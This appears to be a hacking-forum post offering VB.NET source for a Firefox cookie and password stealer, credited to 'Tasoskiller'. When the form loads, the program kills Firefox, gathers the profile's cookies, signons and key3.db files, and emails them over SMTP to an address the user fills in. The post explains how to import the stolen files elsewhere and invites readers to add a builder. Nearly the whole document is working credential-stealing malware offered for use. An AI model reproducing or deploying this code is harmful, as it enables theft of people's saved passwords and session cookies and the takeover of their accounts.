[psycho.ts]

This Is SRC For Cookies & password Recover Example I Found It , But I Don't Test It Yet , So If You Want to Use The Source Code This Will Be At your own risk,


This will send you the cookies file , and 3 other files that contain the passwords and the encryption method !
you just have to put these files in firefox's directory ("C:\documents and settings\username\Application Data\Mozilla\Firefox\Profiles\profilename\")
But be careful cauz this will delete current passwords and cookies sotered on your PC !
I hope that you "complete" this program , add more function on it and a builder ,


Credit To : Tasoskiller

Code:

Imports System.Net.Mail Public Class Form1 Dim signos_sqlite, cookie, signons_txt, key3 As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim mail As New MailMessage, smtp As New SmtpClient With mail .From = New MailAddress("mail here") .To.Add(mail here) .Body = "cookie & password stealer example by TasosKiller ( aka unsuspicious )" .Subject = "cookies" End With With smtp .Host = host here ( 4 example : "smtp.live.com") .Port = 25 .EnableSsl = True .Credentials = New Net.NetworkCredential(mail here,password here) End With Dim dir1 As New IO.DirectoryInfo("C:\documents and settings\" & Environment.UserName & "\Application Data\Mozilla\Firefox\Profiles\") Dim dir As IO.DirectoryInfo Dim processss() As Process = Process.GetProcesses For i As Integer = 0 To processss.GetUpperBound(0) If processss(i).ProcessName = "firefox" Then processss(i).Kill() End If Next For Each dir In dir1.GetDirectories Dim file As IO.FileInfo For Each file In dir.GetFiles If file.Name.Contains("cookies") Then cookie = file.FullName End If If file.Name.Contains("signons") And file.Extension = ".sqlite" Then signos_sqlite = file.FullName End If If file.Name.Contains("signons") And file.Extension = ".txt" Then signons_txt = file.FullName End If If file.Name.Contains("key3") And file.Extension = ".db" Then key3 = file.FullName End If Next Next Dim att1, att2, att3, att4 As Attachment Try att1 = New Attachment(signons_txt) Catch Try Threading.Thread.Sleep(2000) att1 = New Attachment(signons_txt) Catch ex As Exception End Try End Try Try att2 = New Attachment(signos_sqlite) Catch Try Threading.Thread.Sleep(2000) att1 = New Attachment(signos_sqlite) Catch ex As Exception End Try End Try Try att3 = New Attachment(cookie) Catch Try Threading.Thread.Sleep(2000) att3 = New Attachment(cookie) Catch ex As Exception End Try End Try Try att4 = New Attachment(key3) Catch Try Threading.Thread.Sleep(2000) att4 = New Attachment(key3) Catch End Try End Try Try mail.Attachments.Add(att1) mail.Attachments.Add(att2) mail.Attachments.Add(att3) mail.Attachments.Add(att4) smtp.Send(mail) Catch End Try End Sub End Class